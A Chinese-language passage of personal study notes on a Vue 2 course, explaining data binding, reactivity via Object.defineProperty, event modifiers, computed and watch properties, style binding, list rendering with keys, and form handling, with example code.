学习教程: 尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通
本文是学习该教程的学习笔记,非常感谢尚硅谷和老师分享。
如果看完一个教程,我会三连+充电打赏 (没钱就打赏少一点呗) ,怎么都是一份感谢的心意,质量如果好自然会留个种子在心里,以后如果有朋友想学会乐意介绍给他。本教程视频学习时间为20220209-20220305,笔记整理时间为20220305-

如果遇到看不懂的代码,就继续往下看,代码的讲解在代码的下方


学前准备

知识储备

javascript前置知识储备

  • ES6语法规范
  • ES6模块化: 默认暴露、分别暴露、统一暴露、导入…等
  • 包管理器: npm、cnpm、yarn其中一个即可,推荐yarn
  • 原型、原型链: 很重要,必须要会
  • 数组常用的方法
  • Promise

Vue官网的使用

  • 优秀的Vue库: 官网右上角导航区.资源列表.AwsomeVue


Vue2


用最原始的方法使用Vue


导入vue

下载开发版的js (vue.js) 和生产版的js (vue.min.js) ,然后在标签中导入

<head>
	<meta charset="UTF-8">
	<title>Document</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

将vue实例绑定html容器

定义一个容器,比如div标签,然后新建一个vue对象绑定该容器

<div id="root"></div>

<script>
	// 第一种绑定方法: 直接在创建对象时绑定
	new Vue({
		el: '#root', // el=element,用于指定绑定的容器,可以用id或者类选择器都行来绑定容器,或使用document.getElementById("root")来获取也行
	});

	// 第二种绑定方法: 先创建对象,再绑定
	const a = new Vue();
	a.$mount("#root");
<script/>

Vue中,有很多属性和方法都是以开头的,这些以开头的,这些以开头的方法和属性都是属于vue对象的缔造者的原型上,他们存在于Vue.__proto__中。
因为Vue是参考MVVM模式 (往下有展开讲解) ,Vue实例就是MVVM中的VM点击转跳MVVM模型详解,所以**一般创建的实例都是以vm命名的变量,比如const vm = new Vue();**


单向数据绑定

当Vue中的配置中的data中的数据发生变化时,html就会被重新解析 (渲染)
在html标签中使用"v-bind:“来绑定Vue中的data中的变量,“v-bind:“的简写是”:”,所以在属性前面使用冒号等同于使用"v-bind:”。
单向数据绑定: 改变vue中的变量的数据时,html中的数据会改变,但改变html中的数据 (比如编辑输入框中的内容) 时不会影响vue对象中的数据。

<div id="root">
	<h1>Hello world!{{name}}</h1>
	<a v-bind:href="url">标签属性绑定值方法1</a>
	<a :href="url">标签属性绑定值方法2</a> <!--这里等同于上面一行代码,使用v-bind:的简写形式,绑定data中的变量url-->
	<h1>{{xxx.url}}</h1>
</div>
<script>
	// 第一种绑定数据的方式: 对象式
	new Vue({
		el: '#root', 
		data: {
			"name": "haha",
			"url": "http://baidu.com",
			"xxx": {
				"url": "http://baidu.com",
				"abc": [1,2,6,8]
			},
		}
	});

	// 第二种绑定数据的方式: 函数式,将data的值写成一个函数或者将data写成一个函数
	new Vue({
		el: '#root',
		data: function(){
			console.log("调用此函数的this的对象是: ",this);
			return {
				"name": "haha",
				"url": "http://baidu.com",
				"xxx": {
					"url": "http://baidu.com",
					"abc": [1,2,6,8]
				},
			}
		}
	});
	// 或者直接将function写为一个函数
	new Vue({
		el: '#root',
		data(){
			...
			return {...}
		}
	});
<script/>

上面的代码写了在html中绑定数据的2种形式。
第一种是将data的值写成一个对象,该对象里面定义的一个个属性和值就是数据。
第二种是将data的值写成一个函数,或者data本身就是个函数,该函数返回一个js对象,返回的对象中的属性和值就是数据。该函数是Vue对象调用的,在该函数中的this是该Vue创建的实例对象,也就是上面说的vm。注意: 使用组件时必须使用第二种方式来绑定数据,且该函数只能写成普通函数,而不能写成箭头函数的形式。
注意: 由Vue管理的函数(Vue调用的函数)一定不能写成箭头函数,一旦写了箭头函数,该函数内获取到的this就不再是Vue实例了调用会报错


双向数据绑定

使用v-model:实现双向数据绑定。
使用场景: 在可以需要data中的数据的控件中使用v-model来绑定数据,当输入框中的内容被编辑时,data中的数据也会随之被修改。比如输入框,在编辑输入框中的内容时,vue对象中绑定的变量也会一同改变。
注意: v-model:只能应用在表单类 (即有value属性的标签中,比如输入类标签的input、select...等) 的标签,因为v-model:默认绑定的是value属性的值,所以v-model:value="xxx"也可以简写为v-model="xxx"

<input type="text" v-model:value="name">
<input type="text" v-model="name"> <!-- 等同于上面一行的简写形式 -->
<script>
	new Vue({
		el: '#root',
		data: {
			"name": "haha",
		}
	});
<script/>

MVVM模型

点击转跳到将vue实例绑定html容器
Vue参考了MVVM模型

  • M: Model,模型,在Vue中就是Vue对象中的data中的数据。
  • V: View,视图,在Vue中就是模板,可以被解析成HTML展示给用户。
  • VM: ViewModel,视图模型,ViewModel是介于View(视图)和Model(模型数据)之间的这样一个东西,它起到了桥梁的作用,使得视图和数据既能够分离开,也能够保持通信,在Vue中ViewModel就是Vue的实例对象,所以一般Vue实例变量名都会命名为vm。除了能使用{{xxx}}形式访问vm中配置的data中的数据,还能访问vm对象所拥有的所有属性

image.png


Vue的原理

  Vue能够的实现修改数据界面也随之更改,或者修改输入框的内容,和输入框绑定的数据也能随之被修改的原理是js数据代理,这种方式也叫做响应式。本质就是Vue监控了数据的改变,也叫数据劫持或数据代理,这就是Vue的实现核心,当某个变量的值发生改变的时候,去渲染界面。
  数据代理: 通过一个对象代理另一个对象中的属性的操作 (读/写)
  Vue的数据代理: 通过vm对象来代理data中所有属性的操作,更方便操作data中的数据

let person ={
	name: '张三',
	sex: '男',
}

let number = 18;

Object.defineProperty(
	person,
	'age',
	{
		value:18,
		enumberable: true, // 控制新添加的属性 (age) 是否在遍历对象属性时候能遍历得到
		writable: true, // 控制新添加的属性 (age) 能否被修改 (在控制台) 
		configurable: true, // 控制新添加的属性 (age) 能否被删除比如: delete person.age
		get(){ // 当获取age属性时,就会调用本方法,并返回本函数的返回值
		// get: function(){ //也可以写为这种形式
		// get: function abc():{ //也可以写为这种形式,给函数起个别名
			return number;
		},
		set(value){
		   number = value;
		}
	}
)

console.log(person); // {name: "张三",sex: "男",age: 18}

// 注: 使用Object.defineProperty(...)的方式给对象添加属性,
// 然后使用Object.keys(对象)是不会拿到新添加进去的属性名的
// 这种情况也可以称为新添加的属性不可枚举。
// 如果想要新添加进去的属性能在遍历对象的属性时被遍历到
// 在Object.defineProperty(...)时和value同级设置属性enumberable: true就可以了

for(let key in person){
	console.log(key, person[key])// 遍历对象的属性名和属性值
}

// 删除对象的属性
delete person.name

验证Vue本质就是数据代理
创建一个Vue对象,然后再在浏览器控制台判断。

const vm = new Vue({
	el: '#root',
	data: {
			"name": "haha",
			"url": "http://baidu.com",
		},
});

// 也可以写成下面形式: 
let data = {
			"name": "haha",
			"url": "http://baidu.com",
		},
const vm = new Vue({
	el: '#root',
	data
});

// 当Vue实例化后,实例化出来的对象的属性是含有data对象中的所有属性的。可以console.log(vm);来查看。
// 原因是Vue对data使用了Object.defineProperty的方式,把data里面的属性都赋值给了实例化出来的vm对象。
// 当访问vm.name时,name属性的getter开始工作,获取data中的name并返回该属性的值。验证: 给data.name设置什么值,vm.name就是什么值
// 当修改vm.name时,vm的name属性的setter开始工作,修改data中的name。
// 验证: vm._data就是上面新建vue对象时的data,在上面代码中修改外部的data对象中的属性后,
// 使用vm._data===data就可以判定vue中的data和外面对象的data是不是一样了
// (因为vm._data==传进去的对象,即vm.options.data==外部的data对象,所以vm._data.name是等于vm.name的)
// 注: vm.options就是new Vue({data:{...},methods:{xxx}})传进去的data、methods这些对象

image.png


Vue事件处理

最基本的点击事件

使用v-on:事件名@:事件名,比如v-on:click="点击回调函数名"@:click="点击回调函数名"

// demo: 下面演示了click事件的3种情况。
// 1. 无参
// 2. 有参
// 3. 使用vue对象的属性作为参数,并在回调函数中使用获取的参数
<div id="root">
	<button v-on:click="showInfo"></button>// 1. 无参。如果没有传参,默认会传一个event事件,也就是vm.$event对象
	<button @click="showInfo"></button> // 1. 无参,使用简写@形式。和上面效果相同: 在事件名称前使用@也一样 
	<button @click="showInfo2(66)"></button> // 2. 有参。传自定义参
	<button @click="showInfo3($event, 66)"></button> // 3. 传vue中的属性作为参数和自定义参数
</div>

<script type="text/javascript">
	new Vue({
		el: '#root',
		data: {},
		methods: {
			showInfo(event){
				alert("123");
			},
			showInfo2(num){
				console.log(num);
			},
			showInfo3(event, num){
				console.log(event.target.innerText);
			},
		}
	})
</script>

注意: methods中的函数,一定不要写成箭头函数"(参数,)=>{}"的形式,否则该函数中的this拿到的就是Document或Windows对象,而不是vue对象


Vue的几种事件修饰符

Vue中的事件修饰符,比如click事件是@click="方法名",如果给它加个阻止冒泡的修饰符,就变为@click.stop="方法名",这个stop就是click事件的修饰符。

1. prevent: 阻止事件的默认行为
比如阻止点击a标签的自动转跳。阻止事件的默认行为有2种方法,第一种是在事件的回调函数 (比如点击事件的回调函数) 中,调用回调函数的事件参数event的preventDefault方法 (event.preventDefault()) 即可;第二种是在标签中使用事件的后面用prevent修饰符@click.prevent="点击事件回调函数"

2. stop: 阻止事件冒泡
事件冒泡就是内部元素的事件会逐层向外部传递,比如div标签中有button标签,这两个标签如果都注册了点击事件,那么在点击button时,浏览器会先调用button的点击回调函数,然后接着调用div的点击回调函数。如果想在button中阻止点击事件向外层的div冒泡 (即只调用button的回调函数,而不要调用div的点击回调函数) ,有2种方式。第一种是在内部的button的点击回调函数中,获取到事件参数event后,调用event.stopPropagation()即可;第二种是使用事件的stop修饰符,比如@click.stop="showInfo3"也一样效果。
事件修饰符是可以连着写的 (同时使用) ,比如同时阻止冒泡和阻止默认事件: @click.stop.prevent="回调函数名"

3. onece: 设置事件只触发一次
设置事件只触发一次,比如只能点击一次按钮,再点击就没反应了,除非刷新页面。同上也有2种方式,第一种是回调函数中使用event.stopPropagation(),第二种是使用onece修饰符@click.onece="showInfo3"

4. capture: 事件的捕获模式
点击时候在捕获阶段就调用回调函数@click.capture="回调函数名",冒泡阶段就不回调。

<div id="a" >
	<div id="b" useCapture="true" onclick="xxx">
	<!--<div id="b" useCapture onclick="xxx"> --> <!--// 效果同上,如果一个属性的值为true可以不写值。-->
	<!--<div id="b" @onclick.capture="xxx"> --> <!--// 使用捕获模式-->
		<div id="c">
			<div id="d">
			</div>
		</div>
	</div>
</div>

点击事件的回调被调用的流程: 当一个点击发生时,DOM的根节点就会捕获该点击事件,然后会从最外面层的元素往被点击的元素逐层捕获到该点击事件,捕获事件到达被点击的元素后,再往上逐层冒泡直到DOM的根节点。
仔细观察上面的代码嵌套了a、b、c、d共4层div。如果b层 (id="b"的那一层div) 的标签上使用了useCapture属性且值为true,或者点击事件开启了捕获模式@click.capture="回调函数名",则点击最内层元素d时,点击事件会先从外层往内层传a->b->c->d,当传到b时会触发b的点击事件回调,然后点击事件继续往下传到c、d,接着往上 (外) 冒泡d->c->b->a,此时会逐个调用这些元素的点击回调函数 (冒泡时候b的点击回调函数不会被调用,因为它注册的是捕获模式的点击事件,只会在捕获阶段被调用,在冒泡阶段就不会被调用了) 。
如果点击的是c元素,那么点击事件会从外往内依次传到c,流程是a->b(回调)->c,然后冒泡c(回调)->b->a(回调),不会触发d元素的点击回调函数。

5. self: 只有被点击的目标元素才会触发回调
只有event.target是当前操作的元素时才触发事件。即只有点击到本标签的时候才会回调,其他层级的点击事件都不会调用本标签的点击回调函数,使用: @click.self="回调函数名"

6. passive: 事件的默认行为立即执行
无需等待事件回调执行完成。比如使用滚轮滚动有滚动条的地方时,会先调用鼠标的滚动回调事件wheel,执行完成后,然后滚动条才滑动。如果使用该修饰符,可以实现在鼠标的滚动回调函数执行完成之前就滑动滚动条,如果滚动回调函数执行需要很久的话,滚动条就不会一直卡着等待回调函数执行完成再滚动了。


Vue的常用事件

  1. @scroll: (文本框/整个浏览器)滚动条的滚动事件,只要滚动条移动就会触发,滚到底就不会触发了;
  2. @wheel: 鼠标滚轮的滚动事件,只要鼠标有滚动,就会触发,就算滚到底了如果继续滚动鼠标滚轮也会触发;
  3. @click: 点击事件;
  4. @keydown: 键盘按下;
  5. @keyup: 键盘抬起;

keydown/keyup键盘事件说明
在键盘事件的回调函数中,可以接收一个形参eventevent.keyCode可以获取到按下的键的编码;event.key获取到按下的键的名字,如果event.key获取到的按键如果是由2个单词组成的,会使用首字母大写的驼峰命名法的键盘名称,比如"CapsLock"。使用键盘别名注册键盘的监听事件时,键盘别名要全改成小写,多个单词之间用"-"连接,比如@keyup.caps-lock="回调函数",这样如果按下CapsLock键,回调函数就会被调用。形如"键盘事件.xxx"的键盘点击事件,比如@keyup.enterr="回调函数"中的enter就叫做键盘的别名


常用按键别名

  1. enter
  2. delete(退格或删除)
  3. esc
  4. space
  5. tab(keyup不能用tab键,按tab键会切换浏览器的焦点,所以只能用keydown.tab)
  6. up(↑上键)
  7. down(↓下键)
  8. left(←左键)
  9. right(→右键)

几个使用方法特殊的键
这几个键比较特殊: ctrl、alt、shift、meta (mackOS中的mata键等同于Windows中的win键)

  • 在keyup事件中: 要使用以上几个键,得按下它后,再按其他键,并释放后 (松开键盘后) ,键盘事件绑定的回调函数才能被触发。
  • 在keydown事件中: 只要按下这些组合键之后,就会触发回调函数。
  • 如果需要实现ctrl+y触发,可以写成@keydown.ctrl.y="回调函数"

绑定数据的3种形式

  1. 插值语法: 在html模板中直接使用{{变量名}}获取data中定义的变量,或在{{js表达式}}中写一些简单的js表达式 (不建议写复杂的) 。插值语法绑定数据的缺点: 没法在{{}}中写太复杂的逻辑。
  2. methods: 在html模板中直接使用{{函数名()}}调用vue对象中的methods中的函数,函数返回data中的变量,当data中的变量改变时,会重新渲染模板,渲染到有函数的地方时会调用函数,然后函数返回最新的data中的变量值。缺点: 当data变量有一点点变化,比如输入文字时,每输入或者删除一个字符,都会渲染一遍模板,模板中的所有函数也会被调用一遍,或者模板中每有一个地方调用该函数,函数就会执行一次,如果模板中有多个地方使用同一个函数来获取数据,那么该函数也会被执行多次,导致性能低。
  3. 使用计算属性computed: 通过计算或使用data中数据计算后return得来的属性,和data同层级的配置属性computed:{属性XX:{get(){},},},只要有人读取属性XX的值,就执行get()并获取get()的返回值,使用方法: 在模板中使用{{属性XX}}。在get()中的this是vm实例,所以可以vm.属性获取到data中的数据。get()在以下2种情况中会被调用: 1.初次读取属性XXget()会被调用,所以如果模板中多个地方都用了同一个计算属性,实际上只会在第一个使用该计算属性的地方调用get(),也就避免了使用methods形式绑定数据可能进行多次执行同一个函数导致低性能的做法,即使用computed一次渲染只会调用一次get();2.get()中所用到vm对象中data的数据有改变时get()会被调用 (即get()内所有用到的数据发生变化时,比如属性XX的get()中使用到了data中的属性A和属性B,如果属性A或属性B被修改,那么属性XX的get()也会被调用) 。使用计算属性的好处: 有缓存,只需要计算一次即可性能高,如果模板中多次调用属性XX,只会在第一次渲染到属性XX时真正调用,往下渲染模板如果再遇到属性XX,则从缓存读取。同理,属性XX中也配置set方法: set(value){}

计算属性的简写方式
上面写了计算属性,如果一个计算属性只有get(),没有set()。可以简写成computed:{属性XX:function(){业务逻辑}}或者computed:{属性XX(){业务逻辑},}


一些特殊变量的使用

  • 如果想要在vue对象中使用window对象,可以在新建对象时在data中设定window对象,比如data:{window:window}
  • 绑定事件的时候。事件名后可以写一些简单的语句比如@xxx="isHot=!isHot;i++;..."@click="isHot=!isHot"

监视属性watch

watch基本用法

和data同层级设置属性watch:{要监视的属性:{handler(newValue,oldValue){业务逻辑},immediate:true}},(immediate翻译做立即、立即的)当data或computed中要监视的属性的值有变化时,就会触发handler这个函数。immediate默认为false,如果设置为true,会在vue实例化的时候 (即实例化成vm的时候) 调用一次handler。

设置监视属性的另一种写法是,先实例化Vue为vm变量,然后动态添加watch,比如: vm.$watch('要监视的属性(此处有双引号)',{{handler(newValue,oldValue){},immediate:true})

如果handler的参数只定义了一个,那这个值就是newValue


watch多层级对象

监视属性值为多级中的某个属性
比如要监视data{numbers:{a:1,b:1}}中的a的值的变化,只需要写成watch: {"numbers.a":{handler(){}}}即可。如果要写成watch: {numbers:{handler(){}}},那么监视的是整个numbers,只有当numbers值的内存地址比如0x123发生改变,即{a:1,b:1}这个对象整个被替换成新的对象时,numbers的值才会改变才会被监听到,如果监听的是numbers但只是numbers中的a或b发生改变,watch是不会被触发的。

监视属性值为多级中的某些属性(同时监视多个属性)
比如要监视data:{numbers:{a:1,b:1,c:2}}中的a和b的值的变化。watch: {numbers:{deep:true,handler(){}}},deep:true是开启对监视属性的多层级的值都进行监听,监视多级结构中所有属性的变化。

watch默认只监测被监测属性的值的改变,但是不监测被监测属性内部对象值的改变。比如监测data中的numbers:{a:1,b:1,c:2}是监视numbers值的这个对象,而不是监测对象内部的值,除非开启deep:true。这样无论被监视的对象的哪个层级数据被修改,都能监测到并触发回调


watch简写形式

const vm = new Vue({
...
watch:{ // 写法1
	要监视的属性:{
		handler(newValue,oldValue){
			// 业务逻辑
		},
		immediate:true
	}
}

watch:{ // 写法2,如果只有handler,没有immediate..等别的配置,可以简写成这种形式
	要监视的属性(newValue,oldValue){
		// 业务逻辑
	},
}
...
})

// 同上面的写法2,或者往vm上添加也行watch
vm.$watch('要监视的属性(此处有双引号)',function(newValue,oldValue){// 业务逻辑})

computed和watch的区别

  1. computed能做的,watch也可以做 (可能会麻烦点)
  2. watch能做的,computed不一定能做,比如异步操作 (继续往下看,下面有讲)

computed可以使用data中多个属性来进行复杂的运算后,再return一个值作为属性值,即computed可以实现同时监控datacomputed中的多个属性,如果这些属性值有变动,由computed生成的属性返回值也会跟着变 (数据联动效果) 。而watch只能监视一个属性的变动,并且watch的属性必须存在于datacomputed中。

computed的缺点/只能用watch而不能用computed的情景
如果有异步计算,且异步任务中需要修改data中的值,就考虑watch
computed必须有返回值才能有值,computed中不能开启异步比如setTimeout(()=>{业务逻辑},1000)去修改数据的,因为setTimeout(()=>{},1000)中的返回值,在computed中拿不到,而watch无需返回值就可以在setTimeout(()=>{this.data中的属性=新的值},1000)中修改watch外部的data中的数据。

watch中的异步函数必须使用箭头函数,箭头函数没有自己的this,就会往外层找this,找到vue对象这个this。如果写成普通函数setTimeout(function(){this.xxx},1000),那么this拿到的是window对象,


使用箭头函数还是普通函数的两个重要原则

  1. 所有被Vue管理的函数 (就是会被Vue调用的一些配置函数,比如data(),watch内第一层级函数…) ,要写成普通函数,这样this拿到的才是vm对象或组件实例对象。
  2. 所有不被Vue管理的函数 (定时器、ajax、Promise等的回调函数) ,要写成箭头函数而不能写成普通的function(){},这样this的指向才是vm或组件(vc)实例对象。

样式绑定

绑定class样式之: 字符串写法

适用场景: class样式名不确定,或者有部分不确定,需要动态指定。
使用: 通过:class="样式名称"的形式绑定样式,比如<div class="classA" :class="xxx"></div>,然后在data中定义属性xxx,只要修改xxx的值就可以切换class样式了,同时class:class的值渲染时最终会合并成一个,实现样式叠加比如class="classA classB classC"

<div class="classA" :class="xxx"></div>

<script>
new Vue({
	data:{
		xxx:'' 
// 如果xxx的值是"classB",最终上面的模板会渲染成<div class="classA classB"></div>
// 如果xxx的值是"classB classC",最终上面的模板会渲染成<div class="classA classB classC"></div>
	}
})
</script>

<style>
	.classA{...}
	.classB{...}
	.classC{...}
</style>

绑定class样式之: 列表写法

适用场景: 要绑定的样式个数和名字不确定,可以修改列表中的值,增减元素来操控样式。

<div class="classA" :class="a"></div>
// 只要修改data中的a值的列表元素,即可修改div的样式

<script>
new Vue({
	data{
			a: ['classA','classB','classC'] 
	}
})
</script>

<style>
	.classA{...}
	.classB{...}
	.classC{...}
</style>

绑定class样式之: 控制是否启用样式

适用场景: 要绑定的样式个数、样式名字都确定,但是动态决定是否要启用其中的某个样式

<div class="classA" :class="a"></div>

<script>
new Vue({
	data{
			a: {
				classA: false,
				classB: false,
			}
	}
})
</script>

<style>
	.classA {background-color:red;}
	.classB {background-color:yellow;}
</style>

绑定style样式-对象写法

写法: <div :style="{js表达式}"></div>
例子:
<div :style="{fontSize: fsize+'px',}"></div>
data:{fsize:10,}
上面等同于把对象{fontSize: fsize+'px',}作为style的值去使用

上面例子也可以写成以下形式,将表达式封装在data中:
<div :style="styleObj"></div>
data:{styleObj:{fontSize: '40px'},}

这里的fontSize是由原始的css属性font-size经过驼峰命名法首字母小写的改写,其他css属性同理也这么写。


绑定style样式-列表写法 (不常用)

<div :style="[styleObj1, styleObj2]"></div>
data:{styleObj1:{fontSize: '40px'},styleObj2:{color: '40px', backgroundColor:'rgba(255,203,104)'},}
同等于下面:
<div :style="[styleObj1, styleObj2]"></div>
data:{styleArr:[{fontSize: '40px'}, {color: '40px', backgroundColor:'rgba(255,203,104)'}],}


条件渲染

v-show: 值为true时显示,否则隐藏 (元素存在但是为hidden)
<div v-show="返回值为布尔值的js表达式或布尔类型的变量"></div>

v-if: 值为true时渲染,否则不渲染 (元素不存在)
<div v-if="返回值为布尔值的js表达式或布尔类型的变量"></div>

v-show适合频繁切换显示或隐藏的元素。用v-if每次都删除或添加元素,如果频繁添加删除DOM元素,性能会低且没必要。

v-ifv-else-ifv-else可以自由组合,和平时写代码一样

<div v-if="返回值为布尔值的js表达式或布尔类型的变量"></div>
<div v-else-if="返回值为布尔值的js表达式或布尔类型的变量"></div>
<div v-else-if="返回值为布尔值的js表达式或布尔类型的变量"></div>
<div v-else></div>

template标签
template标签不影响它内部标签的结构,即不影响它里面标签的布局,只是使用template来对内部的多个元素统一做管理。渲染的时候不会把template渲染到页面上,所以template只能使用v-if,而不能用v-show。

<template v-if="返回值为布尔值的js表达式或布尔类型的变量">
	<div id="1"></div>
	<div id="2"></div>
	<div id="3"></div>
<template>

// 上面的代码渲染到浏览器上时,实际会渲染成: 
<div id="1"></div>
<div id="2"></div>
<div id="3"></div>

列表渲染

遍历数组

<ul>
	// 要遍历哪个标签,就在哪个标签上使用v-for
	<li v-for="p in persons" :key="p.id"> 
		{{p.name}}-{{p.age}}
	</li>
</ul>

data:{
	persons:[
		{id:'001', name:'John', age:25}, 
		{id:'002', name:'Jack', age:16}, 
		{id:'003', name:'Oven', age:17}
		],
}

使用: 在data中定义数据,然后再在要遍历的元素上使用v-for
一定要给v-for所在的元素使用:key命令指定每个元素的唯一标识,尽量用列表元素中的每个元素的唯一标识而不是index,如果使用索引作为key,当往数据列表前面或中间插入元素时,之前的元素索引就会改变,使得key和元素不是一一对应的了

如果要获取索引,写成v-for=“(item,index) in persons”,建议将元素和索引用括号括起来。如果有索引,也可以将索引设置成:key的值 (但是不建议,如果遍历的对象中没有唯一标识的值,没办法才这么用) ,比如

<li v-for="(p,index) in persons" :key="index">
	{{p.name}}-{{p.age}}
</li>

v-for中的:key的意义

v-for写了:key时,会将遍历渲染出来每个元素的key设置为指定的值,如果没写:key,Vue会自动将遍历的元素索引作为:key的值。
渲染列表时,key的作用和渲染步骤看下方的流程图和步骤讲解:
image.png

  1. 初次渲染时,Vue先拿到初始列表数据
  2. 根据初始数据生成虚拟DOM
  3. 将虚拟DOM转换为真实的DOM (即渲染到浏览器上展示给用户)
  4. 如果修改数据列表中的元素,Vue会监听到列表中的变化,并会拿到改过后的列表数据
  5. 根据更新后的列表数据生成一个新的虚拟DOM
  6. 依次遍历新虚拟DOM,将新的虚拟DOM和之前的旧虚拟DOM进行对比,如果新、旧虚拟DOM如果key一样,则对比该元素内的内容 (即元素内的标签、标签属性等) 是否一致,如果同一个key的新旧虚拟DOM中的内容 (不包含输入框中的内容) 都一样,则不生成新的真实DOM,内容不一样则新生成真实DOM。
  7. 比如先拿到新虚拟DOM的第一个key是0,值是“老刘-30”,然后去旧虚拟DOM中找key=0的元素,如果没找到就生成新的真实DOM,如果找到了就对比里面的值,“老刘-30”和“张三-18”不一致,则使用新虚拟DOM中key=1的元素生成新的真实DOM,如果一样,则继续对比后面的内容<input>标签,如果都一样,则不生成新的真实DOM。这个操作过程是在内存中进行的,输入框内的值不会被用于比较。

面试题: react、vue中的key有什么作用?key的内部原理是什么?

  1. 虚拟DOM中key的作用:
    key是虚拟DOM对象的唯一标识,当被遍历的列表中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较

  2. 【新虚拟DOM】与【旧虚拟DOM】的比较规则:

    • 旧虚拟DOM中找到了与新虚拟DOM相同的key:
      • 若虚拟DOM中内容没变,则直接使用之前的真实DOM;
      • 若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM。 (第一种创建真实DOM的情况)
    • 旧虚拟DOM中未找到与新虚拟DOM相同的key,创建新的真实DOM,随后渲染到到页面。 (第二种创建真实DOM的情况)
  3. 用index作为key可能会引发的问题:

    • 若对列表数据进行逆序添加、逆序删除 (比如往第一个元素添加新元素,或者删除第一个数据) 等破坏顺序操作,会产生没有必要的真实DOM更新,虽然前端数据展示没问题,但效率低。
    • 如果展示的列表元素中还包含输入类的DOM (比如输入框、文本框) : 会产生错误DOM更新,比如删除第一个或者中间某个元素,原有输入框内的内容会错位,导致数据展示有问题。
  4. 开发中如何选择key

    • 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
    • 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表展示数据的情况,使用index作为key是没有问题的。

遍历对象属性

<ul>
	<li v-for="(value, k) in carInfo" :key="k">
		{{value}}-{{k}}  <!-- 此时的k就是carInfo值的对象中的属性名,value就是属性值 -->
	</li>
</ul>

data:{
	carInfo:{name:'奥迪A8', price:'3万', color:'red'}
}

遍历字符串中的字符

<ul>
	<li v-for="(char, index) in 'apple'" :key="index">
		{{index}}-{{char}}  
	</li>
</ul>

遍历指定次数

比如遍历0-5,value是从1开始1-5

<ul>
	<li v-for="(value, index) in 5" :key="index">
		{{index}}-{{value}}  
	</li>
</ul>

Vue监控数组的原理/修改数组的坑

Vue监视数组时并不监视数组中的对象,所以修改数组中的元素或者把元素替换,Vue是监视不到的。
解决办法: 对数组中的元素执行增删查改时,使用js操作数组的常用方法来进行操作push、pop、shift、unshift、splice (方法用于添加或删除数组中的元素) 、sort、reverse。
如果调用以上的方法操作数组,Vue会监测到并重新渲染到页面上。

所以如果想要修改数组中的元素,并让Vue监听到数据的变动然后更新界面,使用以下2种方式都可以:

  1. this.数组.splice(0,1,{新对象},...),从索引0开始,删除1个元素,并把后面若干个新对象添加到刚刚删除的索引位置。注意: 使用该方法会改变原数组的数据。
  2. Vue.set(列表对象,要修改的元素的索引值,要修改该索引元素的新值)。

Vue监控数组的原理
Vue将我们提供的列表数据进行包装,然后对该列表进行监控。
验证: vm._data.student.hoby.push === Array.prototype.push结果是false,也就是说Vue中的列表,不是普通的js列表,而是继承了js的方法前提下,对数据进行监控,如果修改数组的方法被调用,则重新渲染

Vue的数据监视总结

vue监视数据的原理

  1. Vue会监视data中所有层级的数据,即data:{a:{b:3}}中的a.b的值的变化也会被Vue监视到,如果b的值有变化页面中用到a.b中的数据也会跟着变。
  2. Vue如何监测对象中的数据:通过setter实现监视,且要在new Vue()时就传入要监测的数据:
    • 对象中后追加的属性,比如data中的xxx属性值,在某个函数中往该属性值添加一个新属性a后,即有了data.xxx.a,Vue默认不对这个后面添加的属性做响应式处理
    • 如需给后添加的属性做响应式,请使用如下API:
      Vue.set(target,propertyName/index,value)vm.$set(target,propertyName/index,value) (以上面一行为例子,就是Vue.set(data.xxx,'a',1)vm.$set(target,propertyName/index,value))
  3. 如何监测数组中的数据: 通过包装数组更新元素的方法实现,本质就是做了一下两件事:
    • 调用原生js对应的方法对数组进行更新。
    • 重新解析模板,进而更新页面。
  4. 在Vue修改数组中的某个元素一定要用如下方法:
    • 使用这些API:push()pop()、shift()、unshift()、splice()、sort()、reverse()
    • Vue.set()或vm.$set()、

特别注意:Vue.set()和vm$set()不能给vm或vm的根数据对象添加属性!!

数据劫持 (数据代理)
所谓数据劫持 (数据代理) ,指的是在访问或者修改对象的某个属性时,通过一段代码拦截这个行为,进行额外的操作或者修改返回结果。

删除属性
如果要删除对象中的属性,要使用Vue.delete(js对象,‘要删除的属性名’)或vm.$delete(js对象,‘要删除的属性名’)
比如:

  1. 给对象添加属性this.$set(this.array[0],'hobby','篮球')对应的是this.$delete(this.array[0],'hobby')
  2. data:{namelist:{id : 1,name : '叶落森'}}Vue.delete(this.namelist,'name');

收集表单数据

<!-- 准备好一个容器-->
<div id="root">
	<form @submit.prevent="demo">
	<!-- 指定表单的提交方法是demo,阻止表单的默认转跳行为-->

		账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
		<!-- 使用trim去掉前后空字符串-->
		密码:<input type="password" v-model="userInfo.password"> <br/><br/>
		年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
		<!-- type="number"设定了只能输入数字,v-model.number设置了绑定的值的类型-->

		性别:
		男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
		<!-- radio得将name设置为一样,才能被识别成同一组实现单选。  因为v-model实际绑定的是标签的value值,而radio类型没有value值,所以得手动给添加value属性并赋予值,v-model才能拿到该值给"userInfo.sex"-->
		女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>

		爱好:
		学习<input type="checkbox" v-model="userInfo.hobby" value="study">
		打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
		吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>
		<!-- 对于checkbox类型,必须指定type属性为checkbox,且value要指定值,最后v-model的值必须得是列表/数组类型,比如"userInfo.hobby"得是列表类型,才能获取到勾选的值,勾选哪个,哪个value的值就会被添加到userInfo.hobby列表中-->

	
		所属校区
		<select v-model="userInfo.city">
			<option value="">请选择校区</option>
			<option value="beijing">北京</option>
			<option value="shanghai">上海</option>
			<option value="shenzhen">深圳</option>
			<option value="wuhan">武汉</option>
		</select>
		<br/><br/>

		其他信息:
		<textarea v-model.lazy="userInfo.other"></textarea><br/><br/>
		<!-- 给v-model使用lazy修饰符,可以实现等用户输入完成时,失去焦点,再获取数据。免得频繁获取数据-->
		<input type="checkbox"v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">
		<button>提交</button>
	</form>
</div>

<script>
new Vue({
